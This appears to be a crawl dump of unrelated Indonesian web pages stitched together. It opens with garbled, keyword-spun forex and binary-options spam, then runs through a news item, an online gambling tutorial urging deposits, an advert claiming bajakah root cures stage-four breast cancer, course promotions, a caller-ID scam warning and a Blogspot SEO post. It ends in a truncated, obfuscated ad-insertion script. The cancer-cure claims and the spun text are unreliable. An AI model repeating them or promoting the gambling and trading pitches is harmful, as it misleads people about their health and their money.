Meskipun demikian, Objective-C adalah masih dipasarkan keterampilan karena begitu populer; Hal ini masih cenderung tetap relevan selama bertahun-tahun. Biasanya sinyal sistem perdagangan diprediksi dalam satu candlestick dari kerangka waktu kerja, dan jika trader tidak bekerja pada menit, seharusnya ada cukup waktu untuk mengisi jurnal. Tekan tombol "Added". Anda akan tempat belajar Forex yang bayar setelah dapat profit melihat indikator apa saja yang saat ini ditambahkan ke grafik Anda. Dalam contoh kita, indikator tersebut adalah EMA10, MACD dan PSAR. Kala itu saya banyak melihat alumni dan senior yang terlebih dahulu mendapat gelar sarjana lebih banyak didominasi bekerja di perkebunan. Mendengar kata perkebunan ini, penulis benar benar merasa shock. Bagaimana tidak, bekerja di perkebunan menghabiskan rata rata waktu 6 hari dalam satu ahad dan yang paling saya tidak sukai ialah perkebunan sangatlah jauh dari kota dimana penulis tidak akan sanggup makan yummy dan bervariasi:'(.
Cara untuk registrasi sangat mudah, kamu bisa berkunjung ke website berikut ini: Binomo. 2) Sosio kekeluargaan yang telah banyak berubah. Majoriti ibu bapa hari ini bekerjaya. Menyebabkan permintaan taska, tadika prasekolah di Malaysia semakin meningkat. Adakalanya permintaan melebihi penawaran penyebabkan yuran tadika yang dikenakan melonjak tinggi. Secara umum trading forex yakni perdagangan valas (valuta asing).broker dalam menggaet trader untuk mendaftar program bonusnya tanpa membaca Namun karena cara terbaik memilih metode pembayaran adalah Membagi modal ke dalam beberapa.
Tempat belajar Forex yang bayar setelah dapat profit, Cara memanfaatkan sinyal Forex
Perkembangannya di awal sejarah, mata uang cina ini dijaga agar memiliki nilai tukar yang tetap 2.46 Yuan untuk per dolar AS. Kemudian direvaluasi menjadi 1.50 Yuan. Namun saat pasar dalam negeri China mulai dibuka secara bebas pada tahun 1980-an maka pemerintah mulai melakukan devaluasi nilai tukar, tujuannya adalah agar harga barang yang diekspor tempat belajar Forex yang bayar setelah dapat profit menjadi lebih kompetitif sampai puncak level terlemah di 8.62 Yuan per dolar AS di tahun 1994.
Untuk laptop dengan sistem operasi Windows 10, pengaturan On-Screen Keyboardnya mudah ditemukan karena sudah menjadi salah satu fitur default.
4.58/5 (19) Sistem trading forex merupakan serangkaian cara dan langkah yang menjadi patokan anda dalam menganalisa pergerakan harga, menentukan kapan buy atau sell, berapa atau dimana menyimpan stop loss, kapan melakukan take profit / mengambil keuntungan. Sistem trading berfungsi sebagai kompas dan alat utama dalam aktifitas trading anda. Membuat sistem trading mungkin tidak terlalu sulit dan juga tidak lama. Hanya. Install AplikasiSilahkan simpan dan install aplikasi, untuk pengguna pc/desktop dengan os Windows, akan ditunjukkan langkah intruksinya seperti yang terlihat di gambar bawah ini.Binary options fibonacci strategi:Balas Hapus Balasan Balas Sentel Ban 27 Oktober 2017 16.48 saya habis melakukan tranfer dana ke fasapay dengan 2 kali tranfer tetapi hanya satu yang berhasil tetapi tranfer yang kedua kok dananya tdk masuk, apa IQ Option nya emang lagi erorr? Sedangkan khusus penggunaan untuk bitcoin miner genuine PayPal maka selain cara daftar iq option demo kartu kredit hanya kartu cara bermain IQ Option untuk pemula debit fisik sajalah (non virtual)Kini, platform trading InstaForex tersediaCara main Binomo gratis Temukan ribuan Daftar sekarang!Trading dan Latihan di Akun Demo Gratis. Peristiwa tersebut mengindikasikan upaya buyer untuk mendorong naik harga, tetapi seller melakukan serangan baik dan mengalahkan mereka. Ini adalah tanda bearish yang definit karena semua samurai dari Klan Buyer telah diberantas habis oleh Klan Seller, dan tempat belajar Forex yang bayar setelah dapat profit tidak lagi bersisa di arena trading.
Terkadang trader juga bisa menemukan berita yang di tempat belajar Forex yang bayar setelah dapat profit bulan lalu memiliki impact tinggi berwarna merah, pada bulan berikutnya malah hanya memiliki impact terendah berwarna kuning saja. Elemen tawar menawar pada kontrak adalah 50 - 25 xAgar setiap rencana investasi berhasil, aset harus terdiversifikasi dengan benar. Basis dan masa simpan. A1 Secara umum, tidak Namun, jika opsi tersebut memiliki nilai pasar wajar yang dapat dipastikan pada saat hibahnya, jawabannya adalah ya. Jika anda ingin mempelajari Indikator, robot forex, dan sinyal forex sebelumnya pahami dulu artikel berikut ini.
Skenario:Harga saat ini untuk pasangan EURUSD adalah 1,1000. Pedagang berspekulasi harga akan naik minggu ini. Pada formula di atas kita bisa memerhatikan perhitungan pivot poin sangatlah berbeda dari metode standar. Selain itu, agar perhitungan sesuai dengan level support dan resistance, kita mesti menggunakan perbedaan antara level tinggi dengan level rendah pada sehari sebelumnya, atau yang dikenal sebagai tempat belajar Forex yang bayar setelah dapat profit range. Ahli terpercaya kami membandingkan dan menilai situs trading teratas untuk trader biner Indonesia. Apakah anda memilih broker lokal atau broker offshore, anda perlu.
Jadi tidak ada kemungkinan kehilangan tren sempurna pasar karena Binary perdagangan software Option robot untuk Anda saat Anda tidur atau sibuk dengan tugas-tugas lainnya. belajar Forex yang benar. Opsi digital adalah alat uang yang menggabungkan fungsi dasar Opsi Biner Klasik dan Dinamis. Keuntungannya hingga 900% yang sama dengan varian Dinamis (jika perkiraan benar) dan penghentian – hingga akhir candle 5 menit. Juga tersedia kurung harga masuk yang memilih sistem yang sama dengan varian Klasik. Dalam instrumen uang ini, barang-barang dagangan biasanya menunjukkan harga pelaksanaan. Harga semacam ini memegang peran penting untuk mendapatkan keuntungan yang memungkinkan.
Negociação dengan menggunakan EA memang sangat menguntungkan dan hal ini sering juga dicoba melalui BT di octafx dan hasilnya lumayan namun masalahnya pedanaan buat vpsnya cukup besar juga sehingga belum real dilaksanakan). Tim bersama jajaran Koordinator Pengawas PPNS Polda DIY sejak siang hari telah melakukan pemantauan pada seminar tersebut. Tim BAPPBTI dipimpin Kepala Biro Peraturan Perundang-undangan dan Penindakan, M. Syist pun secara langsung masuk ke lokasi seminar dan menyampaikan poin-poin pelanggaran pada penyelenggaraan berdasar perundangan. 7. Kelinci Kelinci adalah salah satu hewan ternak berjenis mamalia yang tidak memerlukan ruangan yang luas seperti jenis hewan mamalia lainnya, misalnya: sapi dan kambing. Pangsa pasar kelinci pedaging sangat menggiurkan karena masih jarangnya orang membudidayakan kelinci tempat belajar Forex yang bayar setelah dapat profit pedaging sebagai ternak. Kebanyakan orang lebih suka beternak kelinci untuk kelinci hias atau peliharaan.

warc-identified-content-language: ind

content-type: text/plain

warc-type: conversion

label: id


content:
SatuNusaNews – Presiden Joko Widodo mencabut Peraturan Presiden (Perpres) Nomor 35 tahun 2015 tentang pemberian fasilitas uang muka bagi pejabat negara sebesar Rp 210 juta. Pembatalan tersebut dilakukan oleh Jokowi setelah Perpres menimbulkan reaksi penolakan dari publik.
Menanggapi hal ini, Wakil Ketua DPR Fahri Hamzah mengatakan, dengan dicabutnya Perpres tersebut sebaiknya anggota DPR dan DPD jalan kaki saja dalam melaksanakan tugasnya sebagai wakil rakyat. Politikus PKS ini menambahkan, sebaiknya anggota dewan membeli rumah didekat Gedung DPR Senayan.
“Anggota DPR jalan kaki saja. Kita ambil praktisnya saja demi penghematan. Supaya enggak ribut-ribut. Atau cari rumah deket-deket sini,” kata Fahri di Gedung DPR Senayan, Selasa (7/4).
Fahri melanjutkan, sebaiknya perumahan kompleks DPR yang ada di daerah Kalibata diambil alih atau dijual saja dan dicarikan tempat baru di dekat kompleks parlemen.
“Yang di Kalibata diambil alih saja. Bikin perumahan baru dekat sini, supaya enggak perlu naik mobil. Jadi sebaiknya anggota dewan jalan kaki saja biar sehat,” pungkasnya.

warc-identified-content-language: ind,eng


content: Jika kamu orang yang suka live streaming video dimedia sosial SNAPCHAT dan sering direpotkan dengan selalu memegang kameramu untuk tetap merekam, kini kamu tidak perlu khawatir lagi sebab SPECTACLES akan


content: Peran Sutradara dan Artistik Film, Kunci Jawaban Soal Belajar dari Rumah TVRI SMP (6/5/2020) | wadimhiri.com


content:
Tutorial Cara Menang Game Tembak Ikan Online – Sekilas kita melihat permainan tembak ikan, kita akan merasa game ini mudah untuk dimenangkan. namun jangan salah dan jangan sampai terjebak. Permainan tembak ikan ini mempunyai tingkat kesulitan yang tinggi. Kita tidak bisa sembarangan menembakkan peluru dengan asal karena akan berakibat coin yang kita punya akan habis dengan cepat.
Tips dan Trik Cara Agar Bisa Menang game Tembak Ikan Online Dengan Mudah
Pada tutorial hari ini, kita akan memberikan beberapa cara agar bisa menang game tembak ikan online dengan mudah. Tips dan trik ini dapat anda coba pada permainan trial atau free yang akan kami beritahukan untuk situsnya. Sesudah mencoba dan memahami cara bermain tembak ikan online ini, anda bisa mencoba melakukan deposit.
Hal-Hal yang Harus Diperhatikan Dalam Permainan Tembak Ikan Online
Jenis dan Tingkatan Ikan dari yang kecil sampai besar
Hal pertama yang harus diperhatikan dalam permainan tembak ikan online ini adalah ikan dan peluru yang tersedia. 2 hal ini yang merupakan hal paling penting yang harus diketahui.
Yang pertama yang akan kita bahas adalah ikan. Dalam permainan tembak ikan ini, ada banyak ikan yang bisa ditangkap. Masing-masing ikan memiliki nilai dan perkalian yang berbeda.
Untuk perkalian ikannya bisa dilihat pada gambar di bawah ini atau juga dengan mengklik tanda tanya pada layar sebelah kanan dan memilih rate. Agar kita bisa mengetahui berapa yang akan kita dapatkan apabila berhasil menangkap ikan tersebut.
Peluru dan Coin yang tersedia
Hal yang kedua adalah coin. Coin ini merupakan hal penting karena peluru yang ditembakkan ini berasal dari coin. Untuk harga 1 coin dalam rupiah adalah Rp. 2.000,- sehingga apabila anda melakukan deposit sebesar Rp. 200.000 maka akan tertulis coin 100 pada akun anda.
Permainan tembak ikan ini menggunakan hitungan ribuan. Jadi bagi yang masih pemula harap memperhatikan kedua hal tersebut di atas.
Trial Game dan Real Game Dalam Tembak Ikan Online
Jika ragu dan masih belum memahami permainan tembak ikan, bisa mendaftarkan diri dan kemudian login – klik menu Fish Hunting dan kemudian Klik play now. Setelah berhasil masuk kedalam game, pada bagian tengah atas akan ada tombol untuk melakukan free game. Kemenangan dan kekalahan dalam free game ini tidak dihitung atau tidak sah. Sehingga kalian tidak perlu khawatir akan kekalahan.
Tentunya dalam permainan free game dan permainan real tidaklah sama. Dalam free game anda akan merasa tidak terbebani dan bisa mencoba untuk melakukan berbagai tembakan. Namun dalam permainan real, semua tembakan yang anda lakukan adalah coin atau saldo anda. Jadi usahakan setelah bermain free game, anda baru melanjutkan real game agar memahami permainan tembak ikan online ini.
3 Tutorial Cara Menang Game Tembak Ikan Online
Setelah mengetahui dan mencoba tembak ikan online ini, pastinya anda ingin menang dan melakukan penarikan. Berikut ini admin worldgreentourism akan memberikan tutorial cara bermain tembak ikan online agar menang terus.
Tembak ikan yang kecil terlebih dahulu
ikan kecil merupakan salah satu ikan yang paling mudah untuk ditangkap. Bisa saja anda menangkap ikan kecil ini dengan menggunakan 1 kali tembakan saja. Jadi, hal pertama yang harus kalian lakukan adalah menangkap ikan kecil.
Naikkan Peluru
Yang dimaksud dengan menaikkan peluru ini adalah harga atau nilai koin yang digunakan dalam sekali tembakan. Semakin besar nilai peluru dalam 1x tembakan maka hasil perkalian dari tangkapan ikan akan meningkat. Hal yang perlu diperhatikan adalah kita tetap menangkap ikan kecil sampai dengan saldo yang dirasa cukup untuk menaikkan target ikan yang lebih besar.
Targetkan ikan yang lebih besar secara bertahap
Setelah saldo koin yang ada dirasa bisa menopang anda dalam beberapa ratus kali tembakan, maka bisa mencoba untuk menaikkan target ikan anda. Karena dalam permainan tembak ikan online ini, kita pastinya ingin mendapatkan hasil yang maksimal. Namun bagi yang hanya ingin menangkap ikan kecil sampai bosan juga disarankan.
Semakin besar ikan yang ditangkap, semakin besar juga perkalian yang didapatkan seperti yang terlihat pada gambar yang diberikan pertama kalinya. Jadi bagi para penembak ikan mania, bisa mencoba untuk menargetkan ikan yang lebih besar.
Beragam Permainan Dalam 1Id
Itulah Tutorial cara menang game tembak ikan dengan mudah yang kami berikan. Bagi yang masih belum mempunyai akun, bisa mencoba untuk mendaftarkan akun di winbet299. Dalam situs ini kita bisa memainkan berbagai permainan seperti sportsbook, casino, poker, togel , tembak ikan dan slot online. Jika dirasa anda bosan memainkan permainan tembak ikan, anda bisa mencoba juga memainkan permainan lainnya. Untuk yang suka memainkan permainan slot online, bisa membaca tentang 7 daftar slot online yang mudah dimenangkan yang sudah kami sediakan.
Apabila anda mempunyai pertanyaan atau keraguan, bisa mencoba untuk memberikan komentar di bawah ini. klik tautan untuk yang sedang mencari link sbobet yang tidak terblokir. Salam Jackpot untuk para pemain judi online !
This entry was posted in Default and tagged cara membuat tembak ikan, game tembak ikan yang menghasilkan uang, joker merah, judi tembak ikan, tembak ikan, tembak ikan online on November 19, 2019 by Connor Ellis.


content:
Akar Kayu Bajakah Tunggal yang berasal dari tanah Kalimantan Tengah * Buat anda para pembaca setia Camsh.com jika sebelumnya kami membahas tentang Obat Asam Urat kini ada artikel terbaru seputar pengobatan penyakit Kanker. Belum lama ini telah di temukan salah satu alternatif obat untuk Kanker yakni Akar Bajakah Kalimantan. Tumbuhan yang hidup secara liar di belantara hutan Kalimantan ini menjadi viral setelah terbukti dapat mengobati berbagai jenis penyakit Kanker salah satunya adalah Obat Kanker Payudara yang sangat banyak menyerang para wanita.
Berikut ini beberapa fakta tentang manfaat akar bajakah tunggal obat kanker:
1. Akar Bajakah Tunggal ini hanya bisa ditemukan di dalam hutan, salah satunya di hutan yang berjarak sekitar 2 jam perjalanan dari Kota Palangkaraya. Pohonnya tumbuh dengan cara merambat meski memiliki batang yang kuat dan cukup besar. Rambatan dari Bajakah dapat mencapai ketinggian lebih dari 5 meter dan dapat menggapai puncak pohon yang berdekatan. Akarnya pun tertanam di dasar aliran air lahan bergambut. Uniknya Pohon dari Akar Bajakah ini hanya dapat tumbuh di lokasi rimbun dimana sinar matahari secara langsung banyak masuk, jadi sedikit tertutup rimbunnya hutan. Sepintas Bajakah seperti pohon biasa dan sedikit sulit dibedakan dengan tanaman lain.
2. Akar Bajakah dianggap tanaman mistis. Bajakah adalah tanaman khas Kalimantan Tengah yang telah lama digunakan untuk pengobatan kanker secara turun-temurun para nenek moyang suku Dayak. Herlina seorang Guru pembimbing SMAN 2 Palangkaraya menjelaskan, belum pernah ada penelitian ilmiah terhadap tanaman Bajakah. Dimana akhirnya berkembang gosip dari masyarakat sekitar yang mengindentikkan bahwa tanaman akar bajakah tunggal dengan hal berbau mistis. “Bajakah selalu diidentifikasi dengan hal berbau mistik. Tetapi, berdasarkan hasil uji coba laboratorium, kandungan dalam tanaman akar Bajakah ini memang bisa menyembuhkan berbagai jenis kanker.
3. Mengandung antioksidan, Eko Suhartono selaku Kepala Laboratorium FK ULM, Banjarmasin menjelaskan bahwa kayu bajakah merupakan tanaman yang bisa di gunakan sebagai obat penyembuh kanker oleh siswa SMAN 2 Palangkaraya. “Hasil dari penelitian di lab, telah jelas kalau Akar Bajakah Kalimantan ini mempunyai berbagai jenis senyawa-senyawa yang dapat berfungsi sebagai antioksidan yang sekaligus mampu berperan sebagai anti obat kanker,” jelasnya.
4. Sembuhkan kanker payudara stadium empat. Surmanto, salah satu warga suku Dayak asli di Kabupaten Gunung Mas, Palangkaraya, salah satu keluarga penderita kanker payudara stadium empat mengatakan bahwa ibunya menderita kanker payudara stadium empat sejak 10 tahun lamanya. Ibunya Surmanto divonis mengidap kanker payudara stadium empat pada 1980-1990-an, hingga menyebabkan payudaranya mengeluarkan nanah. Bahkan, dokter meminta Surmanto segera melakukan operasi agar bisa menyelamatkan ibunya. Tetapi, sang ibu menolak dan memilih untuk pulang kampung. Surmanto mengatakan, ibunya dapat sembuh total setelah rutin mengonsumsi rebusan air dari akar tanaman bajakah yang dicari sang ayah di hutan. “Hanya butuh waktu dua minggu untuk melihat reaksinya dan dalam sebulan sembuh total penyakitnya,” kata Surmanto saat diwawancarai secara eksklusif oleh Wartawan RCTI.
Nah selain itu Camsh.com akan memberikan sedikit informasi singkat bagaimana Cara Mengolah dan Mengosumsi Akar Bajakah untuk Obat Kanker, Sebagaimana dilansir dari detikhealth, tanaman bajakah ini hanya diambil bagian akarnya, kemudian diproses untuk menjadi ramuan akar bajakah. Begini cara mengolah dan mengonsumsi akar bajakah:
1. Akar bajakah dikeringkan di bawah matahari.
2. Cacah akar bajakah setelah mengering.
3. Terus dihaluskan dengan ditumbuk atau diblender.
4. Bubuk akar bajakah dapat diseduh dengan takaran 1 gram dalam larutan 500 mililiter (ml) air.
5. Dapat juga direbus dengan air selama 30 menit, baru kemudian diminum rutin setiap hari.
6. Air rebusan akar bajakah berwarna seperti teh.
7. Saat diminum, air bajakah terasa hambar jadi tidak akan mengalami kesulitan pada saat mengkonsumsinya.
Oh ya, bagi anda yang kebingungan bagaimana cara untuk membeli akar Bajakah asli Kalimantan silakan hubungi Whatsapp kami kami selaku Admin website ini silakan click disini atau tekan tombol diatas artikel ini. Dapatkan akar Bajakah asli dari pedalaman Hutan Kalimantan sekarang juga tanpa harus ragu tertipu.


content: Hari masih pagi ketika saya terbangun, ditemani dengan sepinya jalanan depan rumah. Matahari agak meninggi beberapa derajat dimana intensitas


content:
3 Alasan Kegagalan Fatal Seseorang Saat Kuliah di Jurusan IT – Information technology atau teknologi informasi menjadi jurusan favorit di berbagai universitas baik negeri maupun swasta. Jurusan IT memang sangat menjanjikan, para lulusannya memiliki prospek kerja yang sangat luas.
Alasannya, setiap perusahaan besar pasti membutuhkan karyawan dengan skill IT. Bahkan, tak jarang pula lulusan IT mendirikan perusahaan konsultan di bidang teknologi.
Hanya saja, tidak semua mahasiswa jurusan favorit ini merasa berada di jurusan yang tepat. Tidak sedikit juga mereka yang merasa tidak mampu dan memilih pindah jurusan. Setelah ditelusuri ternyata ada 3 faktor utama yang menjadi penyebab mengapa banyak mahasiswa yang merasa gagal di jurusan IT, yakni:
1. Goal
Faktor pertama pemicu kegagalan seorang mahasiswa IT adalah karena memiliki tujuan yang salah. Mayoritas lulusan SMA memilih jurusan IT karena dirinya suka bermain game atau teknologi. Ada pula yang berkuliah di jurusan IT karena suka mengoprek komputer. Alhasil, saat duduk di bangku kuliah, mereka pun tidak akan menghadapi hal-hal yang disenangi tersebut.
Jurusan IT mengharuskan mahasiswanya untuk berhadapan dengan perangkat lunak bahkan mempelajari berbagai jenis bahasa pemrograman seperti C++, Java dan masih banyak lagi.
2. Sosial
Faktor kedua adalah kesulitan dalam bersosialisasi selama kuliah. Sistem belajar di perkuliahan jauh berbeda dengan sekolah. Saat kuliah, Anda tidak bisa selalu berada satu kelas dengan teman-teman yang sama.
Hal tersebut kerap membuat seorang mahasiswa sulit memperoleh teman dekat yang bisa diajak sharing atau diskusi. Terkadang, teman teman Anda yang dekat selama di SMA akan agak renggang semasa kuliah.
3. Culture
Terakhir, problem yang dihadapi oleh seorang mahasiswa baru jurusan IT adalah culture shock. Berbeda ketika masih duduk di bangku sekolah, seorang siswa memperoleh bimbingan secara bertahap dari seorang guru. Saat di bangku kuliah, jangan harap Anda bisa memperoleh perlakuan serupa.
Tidak jarang, seorang dosen bertindak acuh tak acuh kepada mahasiswanya. Mereka tidak terlalu peduli mengenai nilai mahasiswa yang mengikuti kelasnya. Di sisi lain, tak jarang mahasiswa terlena dengan kondisi tersebut. Dengan tidak adanya warning dari dosen, mereka pun kerap memanfaatkan waktu untuk bermain dan bersenang-senang.
Alhasil, saat memasuki ujian, mahasiswa pun merasa kelimpungan. Pada jurusan IT, model belajar sistem kebut semalam (SKS) sangat tidak direkomendasikan. Berbagai mata kuliah di jurusan IT memerlukan kemampuan logika yang harus dilatih secara terus-menerus.
Itulah 3 faktor utama yang menyebabkan kegagalan mahasiswa IT, apakah Anda termasuk didalamnya?
Persiapkan diri Anda untuk masuk jurusan IT dengan mengikuti coaching di Course-Net. Kami memberikan penawaran khusus mahasiswa tingkat awal untuk mempelajari beberapa mata kuliah penting di Universitas. Beberapa modul yang kami ajarkan seperti Algoritma dan Pemrograman, Database, Struktur Data dan masih banyak lagi.
Dapatkan nilai terbaik untuk mata kuliah IT dan menjadi IT spesialist andal setelah lulus kuliah, Bergabunglah bersama Course-Net.


content:
Caller ID Spoofing di Indonesia – Guys, kalian perlu berhati – hati dengan kenakalan oknum-oknum tidak bertanggung jawab yang sedang terjadi belakangan ini. Berikut salah satu contoh kasusnya :
Seperti ini contoh kasusnya
Pak A baru saja menerima telepon dari no +621500888. Orang tersebut mengaku sebagai salah satu pekerja dari Bank ternama dan mengatakan bahwa terdapat transaksi mencurigakan karena bertransaksi online dengan nominal yang sama (1 juta rupiah) selama 5 kali berturut-turut. Kemudian, Pak A menjelaskan bahwa Ia tidak melakukan transaksi tersebut. “Baik, saya bantu untuk dibatalkan ya Pak maka kita blokir saja kartu Bapak supaya tidak terposting di tagihan Bapak.” Begitulah respon petugas gadungan tersebut. Lalu Petugas itu menyebutkan nomor kartu Pak A dan Ia bilang VISA padahal kartu Pak A adalah Master Card. Kemudian, Pak A menanyakan apakah orang ini dari Bank “ternama” beneran. Petugas itu langsung menjawab “Nama saya Arka, saya bantu blokir kartu Bapak ya Pak, sebelumnya saya klarifikasi data ya Pak.” Pak A tidak mau memberikan datanya dan kemudian menutup sambungan teleponnya dan langsung menghubungi nomor Customer Service Bank resminya dan mengklarifikasi semuanya, ternyata hal tadi adalah penipuan. Pihak resmi Bank tersebut menyatakan bahwa sudah banyak sekali laporan mengenai nomor telepon tadi.
Yang perlu kalian sadari adalah dalam menanggapi telepon seperti itu kita harus teliti dan jangan panik. Kasus di atas adalah salah satu cyber crime yang disebut Caller ID Spoofing. Caller ID Spoofing adalah tindakan membuat jaringan telepon untuk menampilkan nomor palsu sesuai yang diinginkan pelaku kejahatannya pada nomor calon penerimanya.
Setelah beberapa kasus sebelumnya seperti mama minta pulsa, menang undian, kecelakaan, bayar jasa, butuh dana segar, hingga judi online. Kini kejahatan makin berani menggunakan teknologi yang tersedia. Padahal teknologi diinovasikan untuk lebih mendukung kemajuan semua bidang dan bukan untuk dimanfaatkan sebagai alat tindak kriminal.
Tetap pantau postingan dari Course-Net untuk mengetahui informasi teknologi terkini. Dan untuk mengembangkan kemampuan di bidang teknologi, Course-Net membuka berbagai kursus, mulai dari kursus android, kursus jaringan komputer, kursus networking, kursus hacker, hingga kursus cyber security.
Read more articles
Previous PostFacebook dan Google Dukung Perempuan Indonesia Bergelut di Dunia Teknologi
Next PostBagaimana Mark Zuckerberg Menanggapi Kasus Penyalahgunaan ini?
You Might Also Like
Belajar Menjadi Hacker Secara Cepat dengan Kursus Hacker Terbaik
Februari 10, 2021
Menemukan Kelemahan Google untuk ke-5 kalinya, Remaja ini Diberi 506 Juta
Mei 28, 2018
Dampak Jarang Mematikan Komputer
Maret 9, 2018
Kursus Cyber Security di Indonesia
Juli 21, 2020
Yakin Cyber Security Tidak Penting? Ini Kerugian Akibat Kegagalan dalam Menjaga Keamanan di Dunia Cyber


content:
mrfdn - Kalau anda merasa blog anda kurang bagus dari pada wordpress, tentu saja. Itu tidak bisa dibantah.
Dalam dunia blogging, seorang blogger suatu hari pasti sadar bahwa nge-blog untuk dapat uang, itu memang sebaiknya mulai dari wordpress.
Kenapa harus wordpress?
Karena wordpress punya segudang fitur untuk bisa dioptimasi.
Di awal nge-blog saya tidak berpikir bahwa hal ini akan berpengaruh, toh kita hanya perlu punya domain dan artikel yang bagus supaya google mengindeks web kita dengan cepat.
Tapi semakin hari, semakin saya sadar bahwa ada fitur yang tidak bisa saya dapatkan di blogspot, dan itu ada di wordpress. Misalnya fitur menampilkan permalink tanpa tanggal di wordpress. Di blogspot, itu tidak bisa dilakukan. Tahun dan tanggal selalu ada di setiap artikel kita.
Tapi, di satu sisi, ingat lagi bahwa google menyukai konten yang benar-benar unik, lengkap, padat, dan original.
Blogger pengguna blogspot yang ingin bertarung dengan para blogger lain yang pakai wordpress harus kerja ekstra keras untuk mendapatkan tempat di halaman satu google.
Menurut saya, hal yang harus dioptimasi di blog dengan platform blogspot adalah pertama haruslah konten, kedua tampilan yang didukung dengan template yang bagus dan cepat.
Mari kita bahas kedua hal tersebut.
1. Template
Sebaik-baiknya konten haruslah dibarengi dengan template yang bagus. Apa jadinya kalau template yang anda pasang tidak bagus. Misalnya kurang cepat, kurang responsif, dan lain sebagainya.
Kekuatan sebuah template blogspot terletak pada fiturnya, kode yang dipasang. Misalnya, ada template yang punya pengaturan kode yang bisa menghilangkan tanggal postingan di hasil pencarian google. Jadi yang muncul itu hanya judul, url, dan deskripsi pencarian.
Ini harus diperhatikan dengan baik. Ada baiknya anda cari tahu fitur apa yang ingin anda cari dan gunakan pada sebuah template untuk memaksimalkan blog anda.
Memang sekarang sudah banyak sekali template blogspot yang dijual dan harganya mahal-mahal.
Template yang mahal tersebut punya biasanya punya fitur yang lebih baik, misalnya sudah dioptimasi speed nya, meta tags yang digunakan, tampilan yang lebih responsif untuk tampilan mobile dan desktop.
Sehingga pengunjung pun bisa betah berada di dalam blog.
2. Konten
Sebaik-baiknya template, kalau tidak dibarengi dengan isi konten yang baik maka hasilnya akan nihil.
Melihat dari sisi webmaster, kita harus banyak membaca, menambah pengetahuan mengenai bagaimana update terbaru yang dilakukan oleh google, dan juga versi pembaruan google sebelummya. Supaya anda tahu apa saja yang bisa dan tidak bisa lagi dilakukan.
Misalnya, dahulu katanya sebelum google update, kata kunci apa saja yang diketik di google, bisa langsung muncul dengan mudah dengan sedikit optimasi. Sekarang jamannya sudah beda. Google semakin canggih, konten yang baguslah yang akan terus berada pada peringkat awal pencarian google.
Selain itu kita juga harus pelajari bagaimana mengorganisir konten blog kita. Disini peran penting dari "label" yang ada di blogspot.
Menurut saya, secara kasarnya label di blogspot sama halnya dengan kategori yang ada di wordpress, tapi punya sifat menyerupai tags. baca kategori dan tags.
Di blogspot anda bisa menulis satu artikel dengan memberikan 2 atau lebih label sekaligus. Kalau di wordpress meskipun bisa, ini tidak baik untuk dilakukan. Setiap artikel sebaiknya punya satu kategori saja, namun boleh punya beberapa tags. Kalau mau punya dua kategori dalam wordpress, buatlah kategori utama memiliki beberapa sub kategori.
Misalnya di wordpress, kita bisa buat kategori utama, contohnya gadget, lalu bikin lagi sub kategori dari gadget yaitu smartphone, tablet. Di dalam kategori tersebut kita bisa tuliskan tag merek hp seperti iphone, samsung, xiaomi, dan lain-lain.
Enak sekali kan? Kategori tersebut akan munucul di hasil pencarian google.
Label yang ada di blogspot bisa/akan muncul sebagai breadcrumb pada hasil pencarian google. (tergantung template nya).
Beda halnya dengan blogspot. Dimana kita tidak bisa membuat kagegori dan sub kategori. Tetapi ada cara yang bagus untuk dilakukan. Bagi anda yang ingin terlihat bagus juga tampilan breadcrumb nya di hasil pencarian, buatlah label utama namanya diawali dengan huruf yang tidak lebih pertama daripada sub label yang akan kita buat.
Pusing?
Contohnya, di blog ini, anda bisa menemukan kategori "android", di sana hanya ada satu kategori/label. Huruf awalnya diawali dengan a. Kalau saya ingin membuat sub label, maka saya harus cari kata yang mewakili label tersebut setelah huruf a. Misalnya saya bisa membuat kategori "game" untuk mengatur tulisan saya berada dalam kategori game. Tetapi saya juga ingin itu tampil dalam kagegori android.
Jadi di hasil pencarian nanti akan muncul home >> android >> game
Jadi terlihat lebih keren bukan?
Kesimpulan
Dari kedua hal ini saja yang mungkin blogger blogspot bisa lakukan untuk membuat blognya bisa bersaing dengan para blogger wordpress.
Bukan hal yang mustahil blogspot bisa lebih baik daripada wordpress. Tinggal bagaimana usaha kita untuk cari tahu sendiri apa kelemahan dan kekurangan anda saat ini selama nge-blog.
Artikel ini ditulis hanya berdasarkan pengalaman penulis, kalau ada hal-hal yang keliru silahkan tulis di kolom komentar di bawah. Supaya saya dan anda bisa sama-sama belajar.
Comment This Post
Created with ❤ by MRFDN
About
Contact
Privacy
Disclaimer
"+n+"
"+u+"
")}s.innerHTML=m+="
"+u,l.callBack()}},r(l.homePage.replace(/\/$/,"")+"/feeds/posts/summary"+s+"?alt=json-in-script&orderby=updated&max-results=0&callback=randomRelatedIndex")}(window,document,document.getElementsByTagName("head")[0]); // Multiple Ads Inside Post by igniel.com eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('P b=["\\p\\o\\A\\m\\o\\e\\l\\O\\z\\l\\f\\o\\K\\h\\k","\\H\\z\\e\\r\\q\\B\\e\\l\\e\\J\\f\\a\\r\\K\\l\\l","\\p\\j\\a\\k\\f\\t\\i\\a\\h\\q\\g\\i\\r\\w\\g\\p\\j\\a\\k\\f\\t\\i\\a\\h\\q\\g\\j\\w\\g\\p\\j\\a\\k\\f\\t\\i\\a\\h\\q\\g\\i\\l\\a\\J\\Q\\H\\z\\a\\f\\e\\w\\g\\p\\j\\a\\k\\f\\t\\i\\a\\h\\q\\g\\h\\o\\S\\w\\g\\p\\j\\a\\k\\f\\t\\i\\a\\h\\q\\g\\k\\j\\x\\m\\w\\g\\p\\j\\a\\k\\f\\t\\i\\a\\h\\q\\g\\f\\x\\i\\l\\e","\\l\\e\\m\\A\\f\\R","\\D\\r\\a\\F","\\m\\a\\h\\e\\C\\x\\F\\e","\\T","\\o\\m\\k\\e\\r\\f\\U\\e\\D\\a\\r\\e","\\j\\x\\r\\e\\m\\f\\C\\a\\h\\e","\\m\\e\\10\\f\\B\\o\\i\\l\\o\\m\\A"];(W(){y u=I[b[1]](b[0]);E(u){y n=I[b[1]](b[2]),G=u[b[3]]+1,N=n[b[3]]/G;c=11[b[4]]({Y:u[b[3]]},(Z,L)=>L+1),d=c;X(y v=0;v

label: en